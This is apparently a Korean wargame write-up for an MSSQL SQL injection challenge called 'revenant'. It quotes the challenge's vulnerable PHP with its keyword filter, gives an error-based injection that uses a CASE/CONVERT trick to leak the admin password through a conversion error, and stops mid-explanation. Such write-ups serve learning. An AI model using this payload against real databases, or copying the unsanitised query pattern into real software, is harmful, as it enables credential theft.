지난 번과 비슷한 문제. 하나씩 차근하게 구해보자
<?php
include "./config.php";
login_chk();
$db = mssql_connect();
if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['id'])) exit("No Hack ~_~");
if(preg_match('/master|sys|information|prob|;|waitfor|_/i', $_GET['pw'])) exit("No Hack ~_~");
$query = "select * from prob_revenant where id='{$_GET['id']}' and pw='{$_GET['pw']}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
sqlsrv_query($db,$query);
if(sqlsrv_errors()) exit(mssql_error(sqlsrv_errors()));
$query = "select * from prob_revenant where id='admin'";
$result = sqlsrv_fetch_array(sqlsrv_query($db,$query));
if($result['4'] === $_GET['pw']) solve("revenant"); // you have to pwn 5th column
highlight_file(__FILE__);
?>
row 1 // id : guest, pw : guest
이렇게 하면 나와야 하는데, 왜인지 모르지만 나오지 않았다.
마찬가지로, 테스트한 환경에서는 내가 의도한 대로 값을 뽑아낼 수 있었다.
결국 고민 끝에 아래의 쿼리로 답을 뽑아내었다.
select * from prob_revenant where id='guest' and pw='1' or 1=(case when id='admin' then convert(int,pw) end) -- g
// Conversion failed when converting the varchar value 'jsfa90retjkadsljfn4et' to data type int.
중요한 점은 왜 생각대로 쿼리가 동작하지 않는지이다.
가설을 세우기로는,,,, 1개라도 참인 쿼리가 있으면 더이상 쿼리가 동작하지 않는 듯하다.
그렇게 생각한 이유는 아래와 같다.